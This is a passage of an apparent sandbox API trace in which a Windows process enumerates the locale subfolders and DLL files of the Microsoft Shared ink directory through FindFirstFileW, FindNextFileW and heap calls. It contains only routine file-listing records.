(HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.400] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.557] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.557] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.558] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.558] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.558] GetProcessHeap () returned 0x470000 [0079.558] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.558] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0079.558] GetProcessHeap () returned 0x470000 [0079.558] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.558] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.558] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.558] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.558] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.558] GetProcessHeap () returned 0x470000 [0079.558] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.558] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0079.558] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0079.559] GetProcessHeap () returned 0x470000 [0079.559] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.559] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.559] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.559] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.559] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.559] GetProcessHeap () returned 0x470000 [0079.559] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.559] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0079.559] GetProcessHeap () returned 0x470000 [0079.559] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.610] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.610] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.610] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.610] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.610] GetProcessHeap () returned 0x470000 [0079.610] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.610] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0079.610] GetProcessHeap () returned 0x470000 [0079.610] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.611] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.611] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.611] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.611] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.612] GetProcessHeap () returned 0x470000 [0079.612] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.612] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0079.612] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0079.612] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0079.612] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0079.612] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0079.612] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0079.612] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0079.613] GetProcessHeap () returned 0x470000 [0079.613] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.613] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.613] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.613] GetProcessHeap () returned 0x470000 [0079.613] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.613] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0079.613] GetProcessHeap () returned 0x470000 [0079.613] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.614] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.614] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.614] GetProcessHeap () returned 0x470000 [0079.614] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0079.614] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0079.614] GetProcessHeap () 